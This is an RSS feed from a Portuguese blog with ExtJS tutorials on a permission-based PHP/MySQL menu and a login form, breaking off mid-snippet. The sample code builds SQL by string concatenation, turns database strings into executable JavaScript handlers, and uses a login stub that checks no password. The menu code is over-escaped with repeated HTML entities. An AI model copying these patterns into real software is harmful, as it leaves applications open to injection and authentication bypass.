<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blog do Marcos &#187; ExtJS</title>
	<atom:link href="http://marcos.blog.br/category/extjs/feed/" rel="self" type="application/rss+xml" />
	<link>http://marcos.blog.br</link>
	<description>badulaques, gadgets e outros...</description>
	<lastBuildDate>Mon, 12 Jul 2010 21:15:50 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Menu em ExtJS com Permissões usando PHP e Mysql</title>
		<link>http://marcos.blog.br/2009/10/menu-em-extjs-com-permissoes-usando-php-e-mysql/</link>
		<comments>http://marcos.blog.br/2009/10/menu-em-extjs-com-permissoes-usando-php-e-mysql/#comments</comments>
		<pubDate>Thu, 29 Oct 2009 01:37:18 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[ExtJS]]></category>
		<category><![CDATA[Json]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=138</guid>
		<description><![CDATA[Uma das coisas que mais me deu dor de cabeça quando comecei a trabalhar com ExtJS foi montar uma estrutura de Menu Dinâmico de acordo com as permissões do usuário logado. Por isso vou compartilhar minha solução]]></description>
			<content:encoded><![CDATA[<p>Uma das coisas que mais me deu dor de cabeça quando comecei a trabalhar com <strong>ExtJS </strong>foi montar uma estrutura de <strong>Menu Dinâmico</strong> de acordo com as <strong>permissões</strong> do usuário logado. Por isso vou compartilhar minha solução:</p>
<p>Primeiro de tudo vamos criar o nosso <strong>banco de dados</strong>. Vamos precisar de duas tabelas: uma para o nosso <strong>menu</strong> e outra com as <strong>permissões de cada usuário</strong>.</p>
<p>A tabela do Menu terá os campos de id (o id do objeto no Extjs para facilitar manipulação posterior), o nome, o ícone, a pai (caso exista), a ordem e é claro a <strong>função que será chamada na ação do clique</strong>. Na segunda tabela vamos ter apenas duas chave, o id do usuário e o id do menu. Segue abaixo de exemplo a que eu utilizei:</p>
<h3>MySQL</h3>
<pre class="brush:sql">
#
# Estrutura da Tabela Menu
#

CREATE TABLE /*!32312 IF NOT EXISTS*/ `menu` (
  `id_menu` int(3) NOT NULL AUTO_INCREMENT,
  `id` varchar(20) DEFAULT NULL,
  `menu` varchar(70) DEFAULT NULL,
  `ordem` int(3) DEFAULT NULL,
  `pai` int(3) DEFAULT NULL,
  `ico` varchar(50) DEFAULT NULL,
  `funcao` varchar(80) DEFAULT NULL,
  PRIMARY KEY (`id_menu`)
) TYPE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1;

#
# Estrutura da Tabela de Permissões
#

CREATE TABLE /*!32312 IF NOT EXISTS*/ `permissoes` (
  `id_usuario` int(3) NOT NULL DEFAULT '0',
  `id_menu` int(3) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id_menu`,`id_usuario`)
) TYPE=MyISAM DEFAULT CHARSET=latin1;
</pre>
<p><em>Dica: Vale lembrar que o ícone dos pais são definidos pelo nome da classe CSS e os filhos devemos especificar o caminho físico da imagem. Não sei por que, mas sub-menus não possuem o atributo &#8220;iconCls&#8221;. No PHP já vamos levar isso em conta.</em></p>
<p>A outra parte do nosso Menu é a montagem do <strong>Json</strong> que irá ser lido no <strong>ExtJS</strong>. Este método foi testado apenas com 1 sub-nível de menu, mas é fácil de modificar para funcionar com mais. Se alguém fizer, comente a experiência. O método é bem simples de entender. Basicamente <strong>buscamos os ítens do Menu principal e percorremos ele em busca de sub-menus alocando tudo em um array associativo</strong>.</p>
<h3>PHP</h3>
<pre class="brush:php">
		private function trataObjJson($strJson,$arrObjs)
		{
			foreach($arrObjs AS $obj)
				$strJson = str_replace(&amp;amp;amp;amp;quot;\&amp;amp;amp;amp;quot;&amp;amp;amp;amp;quot; . $obj . &amp;amp;amp;amp;quot;\&amp;amp;amp;amp;quot;&amp;amp;amp;amp;quot;,$obj,$strJson);
			return $strJson;
		}

		public function getMenu()
		{
			if($this-&amp;amp;amp;amp;gt;Search(&amp;amp;amp;amp;quot;SELECT id_usuario FROM usuarios WHERE id_usuario=&amp;amp;amp;amp;quot; . $_SESSION['id_usuario']))
			{
				$menu = &amp;amp;amp;amp;quot;&amp;amp;amp;amp;quot;;
				$tmpMenuPai = $this-&amp;amp;amp;amp;gt;Search(&amp;amp;amp;amp;quot;SELECT A.id_menu,id,menu,ordem,pai,ico,funcao FROM menu A JOIN permissoes B ON A.id_menu=B.id_menu WHERE A.pai=0 AND B.id_usuario=&amp;amp;amp;amp;quot; . $_SESSION['id_usuario'] . &amp;amp;amp;amp;quot; ORDER By A.ordem&amp;amp;amp;amp;quot;);
				$i=0;
				$funcoes = array();
				foreach($tmpMenuPai AS $item)
				{
					$menu[$i]['text'] 			= $item['menu'];
					$menu[$i]['iconCls'] 		= $item['ico'];
					$menu[$i]['tabIndex'] 		= $i;
					if($item['funcao']) {
						$menu[$i]['id'] 		= $item['id'];

						$menu[$i]['handler'] 	= $item['funcao'];
						$funcoes[] = $item['funcao'];
					}

					$tmpMenuFilho = $this-&amp;amp;amp;amp;gt;Search(&amp;amp;amp;amp;quot;SELECT A.id_menu,menu,id,ordem,ico,funcao FROM menu A JOIN permissoes B ON A.id_menu=B.id_menu WHERE A.pai=&amp;amp;amp;amp;quot; . $item['id_menu'] . &amp;amp;amp;amp;quot; AND B.id_usuario=&amp;amp;amp;amp;quot; . $this-&amp;amp;amp;amp;gt;_id . &amp;amp;amp;amp;quot; ORDER By A.ordem&amp;amp;amp;amp;quot;);
					$arrFilho = Array();
					$j=0;
					foreach($tmpMenuFilho AS $filho)
					{
						$arrFilho[$j]['text']			= $filho['menu'];
						$arrFilho[$j]['icon']			= $filho['ico'];
						if($filho['funcao']) {
							$arrFilho[$j]['id'] 		= $filho['id'];

							$arrFilho[$j]['handler'] 	= $filho['funcao'];
							$funcoes[] = $filho['funcao'];
						}
						$j++;
					}
					if($arrFilho)
						$menu[$i]['menu'] = $arrFilho;
					$i++;
				}
				header(&amp;amp;amp;amp;quot;Content-Type: application/json&amp;amp;amp;amp;quot;);
				echo $this-&amp;amp;amp;amp;gt;trataObjJson(json_encode($menu),$funcoes);
			}
		}
</pre>
<p>Observe que precisamos de um <strong>método auxiliar para tratar as funções</strong>. Isso se deve pelo fato da função <i>json_encode</i> do PHP colocar áspas em tudo, então para o ExtJS não interpretar nossa função como uma string e gerar um erro, <strong>utilizamos uma função para retira-las</strong>.</p>
<p>Agora que já temos a nossa estrutura de menu em Json, bastam poucas linhas em ExtJS para finalizar:</p>
<h3>ExtJS</h3>
<pre class="brush:javascript">
Ext.onReady(function(){
 	var conn = new Ext.data.Connection();
	conn.request({
		url: 'inc/php/menu.class.php',
		success: function(a){Ext.getCmp('menuPrincipal').bottomToolbar.add(Ext.util.JSON.decode(a.responseText));},
		failure: function(){Ext.MessageBox.alert('Erro', 'Erro ao carregar menu. Atualize a página.');}
	});
});
</pre>
<p>Espero ter ajudado. </p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2009/10/menu-em-extjs-com-permissoes-usando-php-e-mysql/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Sistema de Autenticação com ExtJS</title>
		<link>http://marcos.blog.br/2009/09/sistema-de-autenticacao-com-extjs/</link>
		<comments>http://marcos.blog.br/2009/09/sistema-de-autenticacao-com-extjs/#comments</comments>
		<pubDate>Fri, 25 Sep 2009 03:33:34 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[ExtJS]]></category>
		<category><![CDATA[Client-Side]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[RIA]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=49</guid>
		<description><![CDATA[Vamos construir um sistema simples de autenticação utilizando o ExtJS. Feito o Download, vamos iniciar nosso sistema carregando a biblioteca do ExtJS para montarmos o nosso sistema de login]]></description>
			<content:encoded><![CDATA[<p>Vamos construir um sistema simples de autenticação utilizando o <a  href="http://www.extjs.com" target="_blank">ExtJS</a>. Feito o <a  href="http://www.extjs.com/products/extjs/download.php" target="_blank">Download</a>, vamos iniciar nosso sistema carregando a biblioteca do ExtJS para montarmos o nosso sistema de login. Nosso ponto de partida é o arquivo Index.php com a estrutura HTML a seguir:</p>
<p><span style="font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; line-height: 18px; font-size: 12px; color: #555555; "> </span></p>
<h3 style="margin-top: 7px; margin-right: 0px; margin-bottom: 7px; margin-left: 0px; padding-top: 0.5em; padding-right: 0px; padding-bottom: 0.17em; padding-left: 0px; font-size: 18px; font-family: verdana, arial, sans-serif; color: #385f95; font-weight: normal; background-image: none; background-repeat: initial; background-attachment: initial; -webkit-background-clip: initial; -webkit-background-origin: initial; background-color: initial; border-bottom-style: none; border-bottom-width: initial; border-bottom-color: initial; letter-spacing: -1px; background-position: initial initial; "><span class="mw-headline">Index.php</span></h3>
<pre style="margin-top: 0px; margin-right: 15px; margin-bottom: 10px; margin-left: 15px; padding-top: 1em; padding-right: 1.5em; padding-bottom: 1em; padding-left: 1.5em; line-height: normal; font-size: 12px; color: #3f747f; background-color: #f9f9f9; overflow-x: auto; overflow-y: hidden; border: 1px dashed #2f6fab;"><span style="color: #00bbdd;">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;</span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;html&gt;</span></span>
	<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;head&gt;</span></span>
	<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;link</span> <span style="color: #000066;">rel</span>=<span style="color: #ff0000;">"stylesheet"</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">"text/css"</span> <span style="color: #000066;">href</span>=<span style="color: #ff0000;">"/igs/includes/ext/resources/css/ext-all.css"</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>
	<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;script</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">"text/javascript"</span> <span style="color: #000066;">src</span>=<span style="color: #ff0000;">"/igs/includes/ext/adapter/ext/ext-base.js"</span><span style="color: #000000; font-weight: bold;">&gt;</span></span><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/script&gt;</span></span>
	<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;script</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">"text/javascript"</span> <span style="color: #000066;">src</span>=<span style="color: #ff0000;">"/igs/includes/ext/ext-all.js"</span><span style="color: #000000; font-weight: bold;">&gt;</span></span><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/script&gt;</span></span>
	<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;script</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">"text/javascript"</span> <span style="color: #000066;">src</span>=<span style="color: #ff0000;">"login.js"</span><span style="color: #000000; font-weight: bold;">&gt;</span></span><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/script&gt;</span></span>
	<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/head&gt;</span></span>
	<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;body&gt;</span></span><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/body&gt;</span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/html&gt;</span></span></pre>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Obviamente, modifique os path de acordo com seu diretório EXT. Veremos o código do Login.js a seguir</div>
<p>Obviamente, modifique os paths de acordo com seu diretório EXT. Veremos o código do Login.js a seguir</p>
<p><span style="font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; line-height: 18px; font-size: 12px; color: #555555; "> </span></p>
<h3 style="margin-top: 7px; margin-right: 0px; margin-bottom: 7px; margin-left: 0px; padding-top: 0.5em; padding-right: 0px; padding-bottom: 0.17em; padding-left: 0px; font-size: 18px; font-family: verdana, arial, sans-serif; color: #385f95; font-weight: normal; background-image: none; background-repeat: initial; background-attachment: initial; -webkit-background-clip: initial; -webkit-background-origin: initial; background-color: initial; border-bottom-style: none; border-bottom-width: initial; border-bottom-color: initial; letter-spacing: -1px; background-position: initial initial; "><span class="mw-headline">Login.js<br />
<span style="color: #555555; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; letter-spacing: normal; font-size: 12px; "> </span></span></h3>
<p>A seguir vem o login.js. Ele cria o formulário, renderiza uma janela popup, exibe a janela ao usuário, submete os dados via AJAX, e lida com o sucesso e o fracasso de resposta dependendo se o usuário inseriu os dados com sucesso.</p>
<pre class="source source-javascript" style="margin-top: 0px; margin-right: 15px; margin-bottom: 10px; margin-left: 15px; padding-top: 1em; padding-right: 1.5em; padding-bottom: 1em; padding-left: 1.5em; line-height: normal; font-size: 12px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dashed; border-right-style: dashed; border-bottom-style: dashed; border-left-style: dashed; border-top-color: #2f6fab; border-right-color: #2f6fab; border-bottom-color: #2f6fab; border-left-color: #2f6fab; color: #3f747f; background-color: #f9f9f9; overflow-x: auto; overflow-y: hidden; ">Ext.<span class="me1" style="color: #006600; ">onReady</span><span class="br0" style="color: #66cc66; ">(</span><span class="kw2" style="color: #003366; font-weight: bold; ">function</span><span class="br0" style="color: #66cc66; ">(</span><span class="br0" style="color: #66cc66; ">)</span><span class="br0" style="color: #66cc66; ">{</span>
    Ext.<span class="me1" style="color: #006600; ">QuickTips</span>.<span class="me1" style="color: #006600; ">init</span><span class="br0" style="color: #66cc66; ">(</span><span class="br0" style="color: #66cc66; ">)</span>;

	<span class="co1" style="color: #009900; font-style: italic; ">// Crie uma variável para armazenar nosso EXT Form Panel </span>
	<span class="co1" style="color: #009900; font-style: italic; ">// Assinamos várias opções de configuração	 </span>
    <span class="kw2" style="color: #003366; font-weight: bold; ">var</span> login = <span class="kw2" style="color: #003366; font-weight: bold; ">new</span> Ext.<span class="me1" style="color: #006600; ">FormPanel</span><span class="br0" style="color: #66cc66; ">(</span><span class="br0" style="color: #66cc66; ">{</span>
        labelWidth:<span class="nu0" style="color: #cc0000; ">80</span>,
        url:<span class="st0" style="color: #3366cc; ">'login.asp'</span>,
        frame:<span class="kw2" style="color: #003366; font-weight: bold; ">true</span>,
        title:<span class="st0" style="color: #3366cc; ">'Entre com seu Login'</span>,
        defaultType:<span class="st0" style="color: #3366cc; ">'textfield'</span>,
	monitorValid:<span class="kw2" style="color: #003366; font-weight: bold; ">true</span>,
	<span class="co1" style="color: #009900; font-style: italic; ">// Atributos específicos para os campos de usuário/senha. </span>
	<span class="co1" style="color: #009900; font-style: italic; ">// O atributo "name" define o nome da variável que será enviada do servidor.</span>
        items:<span class="br0" style="color: #66cc66; ">[</span><span class="br0" style="color: #66cc66; ">{</span>
                fieldLabel:<span class="st0" style="color: #3366cc; ">'Usuário'</span>,
                <span class="kw3" style="color: #000066; ">name</span>:<span class="st0" style="color: #3366cc; ">'loginUsername'</span>,
                allowBlank:<span class="kw2" style="color: #003366; font-weight: bold; ">false</span>
            <span class="br0" style="color: #66cc66; ">}</span>,<span class="br0" style="color: #66cc66; ">{</span>
                fieldLabel:<span class="st0" style="color: #3366cc; ">'Senha'</span>,
                <span class="kw3" style="color: #000066; ">name</span>:<span class="st0" style="color: #3366cc; ">'loginPassword'</span>,
                inputType:<span class="st0" style="color: #3366cc; ">'password'</span>,
                allowBlank:<span class="kw2" style="color: #003366; font-weight: bold; ">false</span>
            <span class="br0" style="color: #66cc66; ">}</span><span class="br0" style="color: #66cc66; ">]</span>,

	<span class="co1" style="color: #009900; font-style: italic; ">// Toda a mágica que acontece depois que o usuário clique no botão     </span>
        buttons:<span class="br0" style="color: #66cc66; ">[</span><span class="br0" style="color: #66cc66; ">{</span>
                text:<span class="st0" style="color: #3366cc; ">'Login'</span>,
                formBind: <span class="kw2" style="color: #003366; font-weight: bold; ">true</span>,
                <span class="co1" style="color: #009900; font-style: italic; ">// Função que é executada quando o usuário clicar no botão </span>
                handler:<span class="kw2" style="color: #003366; font-weight: bold; ">function</span><span class="br0" style="color: #66cc66; ">(</span><span class="br0" style="color: #66cc66; ">)</span><span class="br0" style="color: #66cc66; ">{</span>
                    login.<span class="me1" style="color: #006600; ">getForm</span><span class="br0" style="color: #66cc66; ">(</span><span class="br0" style="color: #66cc66; ">)</span>.<span class="me1" style="color: #006600; ">submit</span><span class="br0" style="color: #66cc66; ">(</span><span class="br0" style="color: #66cc66; ">{</span>
                        method:<span class="st0" style="color: #3366cc; ">'POST'</span>,
                        waitTitle:<span class="st0" style="color: #3366cc; ">'Conectando'</span>,
                        waitMsg:<span class="st0" style="color: #3366cc; ">'Enviando dados...'</span>,

			<span class="co1" style="color: #009900; font-style: italic; ">// Função que executa (sucesso ou falha) quando o servidor responder. </span>
			<span class="co1" style="color: #009900; font-style: italic; ">// A que será executada é determinada pela </span>
			<span class="co1" style="color: #009900; font-style: italic; ">// responsta que virá do login.asp como mostrado abaixo. O servidor responde </span>
			<span class="co1" style="color: #009900; font-style: italic; ">// um JSON válido. </span>
			<span class="co1" style="color: #009900; font-style: italic; ">// Algo como: response.write "{ success: true}" ou</span>
			<span class="co1" style="color: #009900; font-style: italic; ">// responde.write "{ success: false, errors: { reason: 'Falha no Login. Tente novamente.' }}" </span>
			<span class="co1" style="color: #009900; font-style: italic; ">// dependendo da lógica que contiver no código de retorno do servidor.</span>
			<span class="co1" style="color: #009900; font-style: italic; ">// Se o sucesso ocorrer, o usuário será notificado com uma mensagem de alerta messagebox, </span>
			<span class="co1" style="color: #009900; font-style: italic; ">// e quando ele clicar em "Ok", então será redirecionado a qualquer página</span>
			<span class="co1" style="color: #009900; font-style: italic; ">// que você tenha definido para redirecionamento. </span>

                        success:<span class="kw2" style="color: #003366; font-weight: bold; ">function</span><span class="br0" style="color: #66cc66; ">(</span><span class="br0" style="color: #66cc66; ">)</span><span class="br0" style="color: #66cc66; ">{</span>
                        	Ext.<span class="me1" style="color: #006600; ">Msg</span>.<span class="kw3" style="color: #000066; ">alert</span><span class="br0" style="color: #66cc66; ">(</span><span class="st0" style="color: #3366cc; ">'Status'</span>, <span class="st0" style="color: #3366cc; ">'Login Successful!'</span>, <span class="kw2" style="color: #003366; font-weight: bold; ">function</span><span class="br0" style="color: #66cc66; ">(</span>btn, text<span class="br0" style="color: #66cc66; ">)</span><span class="br0" style="color: #66cc66; ">{</span>
				   <span class="kw1" style="color: #000066; font-weight: bold; ">if</span> <span class="br0" style="color: #66cc66; ">(</span>btn == <span class="st0" style="color: #3366cc; ">'ok'</span><span class="br0" style="color: #66cc66; ">)</span><span class="br0" style="color: #66cc66; ">{</span>
		                        <span class="kw2" style="color: #003366; font-weight: bold; ">var</span> redirect = <span class="st0" style="color: #3366cc; ">'test.php'</span>;
		                        window.<span class="me1" style="color: #006600; ">location</span> = redirect;
                                   <span class="br0" style="color: #66cc66; ">}</span>
			        <span class="br0" style="color: #66cc66; ">}</span><span class="br0" style="color: #66cc66; ">)</span>;
                        <span class="br0" style="color: #66cc66; ">}</span>,

			<span class="co1" style="color: #009900; font-style: italic; ">// Função de falha, veja comentário sobre re: sucesso e falha. </span>
			<span class="co1" style="color: #009900; font-style: italic; ">// Você poderá ver aqui, se o login falhar, chama uma messagebox</span>
			<span class="co1" style="color: #009900; font-style: italic; ">// com detalhes da falha  </span>

                        failure:<span class="kw2" style="color: #003366; font-weight: bold; ">function</span><span class="br0" style="color: #66cc66; ">(</span>form, action<span class="br0" style="color: #66cc66; ">)</span><span class="br0" style="color: #66cc66; ">{</span>
                            <span class="kw1" style="color: #000066; font-weight: bold; ">if</span><span class="br0" style="color: #66cc66; ">(</span>action.<span class="me1" style="color: #006600; ">failureType</span> == <span class="st0" style="color: #3366cc; ">'server'</span><span class="br0" style="color: #66cc66; ">)</span><span class="br0" style="color: #66cc66; ">{</span>
                                obj = Ext.<span class="me1" style="color: #006600; ">util</span>.<span class="me1" style="color: #006600; ">JSON</span>.<span class="me1" style="color: #006600; ">decode</span><span class="br0" style="color: #66cc66; ">(</span>action.<span class="me1" style="color: #006600; ">response</span>.<span class="me1" style="color: #006600; ">responseText</span><span class="br0" style="color: #66cc66; ">)</span>;
                                Ext.<span class="me1" style="color: #006600; ">Msg</span>.<span class="kw3" style="color: #000066; ">alert</span><span class="br0" style="color: #66cc66; ">(</span><span class="st0" style="color: #3366cc; ">'Login Failed!'</span>, obj.<span class="me1" style="color: #006600; ">errors</span>.<span class="me1" style="color: #006600; ">reason</span><span class="br0" style="color: #66cc66; ">)</span>;
                            <span class="br0" style="color: #66cc66; ">}</span><span class="kw1" style="color: #000066; font-weight: bold; ">else</span><span class="br0" style="color: #66cc66; ">{</span>
                                Ext.<span class="me1" style="color: #006600; ">Msg</span>.<span class="kw3" style="color: #000066; ">alert</span><span class="br0" style="color: #66cc66; ">(</span><span class="st0" style="color: #3366cc; ">'Warning!'</span>, <span class="st0" style="color: #3366cc; ">'Authentication server is unreachable : '</span> + action.<span class="me1" style="color: #006600; ">response</span>.<span class="me1" style="color: #006600; ">responseText</span><span class="br0" style="color: #66cc66; ">)</span>;
                            <span class="br0" style="color: #66cc66; ">}</span>
                            login.<span class="me1" style="color: #006600; ">getForm</span><span class="br0" style="color: #66cc66; ">(</span><span class="br0" style="color: #66cc66; ">)</span>.<span class="me1" style="color: #006600; ">reset</span><span class="br0" style="color: #66cc66; ">(</span><span class="br0" style="color: #66cc66; ">)</span>;
                        <span class="br0" style="color: #66cc66; ">}</span>
                    <span class="br0" style="color: #66cc66; ">}</span><span class="br0" style="color: #66cc66; ">)</span>;
                <span class="br0" style="color: #66cc66; ">}</span>
            <span class="br0" style="color: #66cc66; ">}</span><span class="br0" style="color: #66cc66; ">]</span>
    <span class="br0" style="color: #66cc66; ">}</span><span class="br0" style="color: #66cc66; ">)</span>;

	<span class="co1" style="color: #009900; font-style: italic; ">// Aqui é criado uma janela para agregar o formulário. </span>
	<span class="co1" style="color: #009900; font-style: italic; ">// O objeto login é passado como ítem desta janela.       </span>
    <span class="kw2" style="color: #003366; font-weight: bold; ">var</span> win = <span class="kw2" style="color: #003366; font-weight: bold; ">new</span> Ext.<span class="me1" style="color: #006600; ">Window</span><span class="br0" style="color: #66cc66; ">(</span><span class="br0" style="color: #66cc66; ">{</span>
        layout:<span class="st0" style="color: #3366cc; ">'fit'</span>,
        width:<span class="nu0" style="color: #cc0000; ">300</span>,
        height:<span class="nu0" style="color: #cc0000; ">150</span>,
        closable: <span class="kw2" style="color: #003366; font-weight: bold; ">false</span>,
        resizable: <span class="kw2" style="color: #003366; font-weight: bold; ">false</span>,
        plain: <span class="kw2" style="color: #003366; font-weight: bold; ">true</span>,
        border: <span class="kw2" style="color: #003366; font-weight: bold; ">false</span>,
        items: <span class="br0" style="color: #66cc66; ">[</span>login<span class="br0" style="color: #66cc66; ">]</span>
	<span class="br0" style="color: #66cc66; ">}</span><span class="br0" style="color: #66cc66; ">)</span>;
	win.<span class="me1" style="color: #006600; ">show</span><span class="br0" style="color: #66cc66; ">(</span><span class="br0" style="color: #66cc66; ">)</span>;
});</pre>
<p><span style="font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; line-height: 18px; font-size: 12px; color: #555555; "> </span></p>
<h3 style="margin-top: 7px; margin-right: 0px; margin-bottom: 7px; margin-left: 0px; padding-top: 0.5em; padding-right: 0px; padding-bottom: 0.17em; padding-left: 0px; font-size: 18px; font-family: verdana, arial, sans-serif; color: #385f95; font-weight: normal; background-image: none; background-repeat: initial; background-attachment: initial; -webkit-background-clip: initial; -webkit-background-origin: initial; background-color: initial; border-bottom-style: none; border-bottom-width: initial; border-bottom-color: initial; letter-spacing: -1px; background-position: initial initial; "><span class="mw-headline">Login.php</span></h3>
<div>Aqui é onde o servidor processa o seu login. Vou me apegar a colocar apenas um código simples para mostrar as respostas que serão retornadas, e tederminar que função o login.js executará (sucesso ou falha). Contanto, aqui é onde você deverá chamar seu banco de dados com o usuário/senha da variável, da autenticação, e por fim enviar uma das mensagens de resposta dependendo se o usuário digirou uma credencial válida.</div>
<p><span style="font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; line-height: 18px; font-size: 12px; color: #555555; "> </span></p>
<pre class="source source-php" style="margin-top: 0px; margin-right: 15px; margin-bottom: 10px; margin-left: 15px; padding-top: 1em; padding-right: 1.5em; padding-bottom: 1em; padding-left: 1.5em; line-height: normal; font-size: 12px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dashed; border-right-style: dashed; border-bottom-style: dashed; border-left-style: dashed; border-top-color: #2f6fab; border-right-color: #2f6fab; border-bottom-color: #2f6fab; border-left-color: #2f6fab; color: #3f747f; background-color: #f9f9f9; overflow-x: auto; overflow-y: hidden; "><span class="kw2" style="color: #000000; font-weight: bold; ">&lt;?php</span>
<span class="re0" style="color: #0000ff; ">$loginUsername</span> = <span class="kw3" style="color: #000066; ">isset</span><span class="br0" style="color: #66cc66; ">(</span><span class="re0" style="color: #0000ff; ">$_POST</span><span class="br0" style="color: #66cc66; ">[</span><span class="st0" style="color: #ff0000; ">"loginUsername"</span><span class="br0" style="color: #66cc66; ">]</span><span class="br0" style="color: #66cc66; ">)</span> ? <span class="re0" style="color: #0000ff; ">$_POST</span><span class="br0" style="color: #66cc66; ">[</span><span class="st0" style="color: #ff0000; ">"loginUsername"</span><span class="br0" style="color: #66cc66; ">]</span> : <span class="st0" style="color: #ff0000; ">""</span>;

<span class="kw1" style="color: #b1b100; ">if</span><span class="br0" style="color: #66cc66; ">(</span><span class="re0" style="color: #0000ff; ">$loginUsername</span> == <span class="st0" style="color: #ff0000; ">"f"</span><span class="br0" style="color: #66cc66; ">)</span><span class="br0" style="color: #66cc66; ">{</span>
    <span class="kw3" style="color: #000066; ">echo</span> <span class="st0" style="color: #ff0000; ">"{success: true}"</span>;
<span class="br0" style="color: #66cc66; ">}</span> <span class="kw1" style="color: #b1b100; ">else</span> <span class="br0" style="color: #66cc66; ">{</span>
    <span class="kw3" style="color: #000066; ">echo</span> <span class="st0" style="color: #ff0000; ">"{success: false, errors: { reason: 'Falha no login. Tente novamente.' }}"</span>;
<span class="br0" style="color: #66cc66; ">}</span>
<span class="kw2" style="color: #000000; font-weight: bold; ">?&gt;</span></pre>
<p>Ou, você pode usar PHP avançado com array associativo e a função json_encode, e renderizar a resposta em JSON. Isso pode ser útil para não ter trabalho braçal caso esteja utilizando um JSON mais complexo.</p>
<p><span style="font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; line-height: 18px; font-size: 12px; color: #555555; "> </span></p>
<pre class="source source-php" style="margin-top: 0px; margin-right: 15px; margin-bottom: 10px; margin-left: 15px; padding-top: 1em; padding-right: 1.5em; padding-bottom: 1em; padding-left: 1.5em; line-height: normal; font-size: 12px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dashed; border-right-style: dashed; border-bottom-style: dashed; border-left-style: dashed; border-top-color: #2f6fab; border-right-color: #2f6fab; border-bottom-color: #2f6fab; border-left-color: #2f6fab; color: #3f747f; background-color: #f9f9f9; overflow-x: auto; overflow-y: hidden; "><span class="kw2" style="color: #000000; font-weight: bold; ">&lt;?php</span>
<span class="re0" style="color: #0000ff; ">$loginUsername</span> = <span class="kw3" style="color: #000066; ">isset</span><span class="br0" style="color: #66cc66; ">(</span><span class="re0" style="color: #0000ff; ">$_POST</span><span class="br0" style="color: #66cc66; ">[</span><span class="st0" style="color: #ff0000; ">"loginUsername"</span><span class="br0" style="color: #66cc66; ">]</span><span class="br0" style="color: #66cc66; ">)</span> ? <span class="re0" style="color: #0000ff; ">$_POST</span><span class="br0" style="color: #66cc66; ">[</span><span class="st0" style="color: #ff0000; ">"loginUsername"</span><span class="br0" style="color: #66cc66; ">]</span> : <span class="st0" style="color: #ff0000; ">""</span>;

<span class="kw1" style="color: #b1b100; ">if</span><span class="br0" style="color: #66cc66; ">(</span><span class="re0" style="color: #0000ff; ">$loginUsername</span> == <span class="st0" style="color: #ff0000; ">"f"</span><span class="br0" style="color: #66cc66; ">)</span><span class="br0" style="color: #66cc66; ">{</span>
    <span class="re0" style="color: #0000ff; ">$result</span><span class="br0" style="color: #66cc66; ">[</span><span class="st0" style="color: #ff0000; ">"success"</span><span class="br0" style="color: #66cc66; ">]</span> = <span class="kw2" style="color: #000000; font-weight: bold; ">true</span>;
<span class="br0" style="color: #66cc66; ">}</span> <span class="kw1" style="color: #b1b100; ">else</span> <span class="br0" style="color: #66cc66; ">{</span>
    <span class="re0" style="color: #0000ff; ">$result</span><span class="br0" style="color: #66cc66; ">[</span><span class="st0" style="color: #ff0000; ">"success"</span><span class="br0" style="color: #66cc66; ">]</span> = <span class="kw2" style="color: #000000; font-weight: bold; ">false</span>;
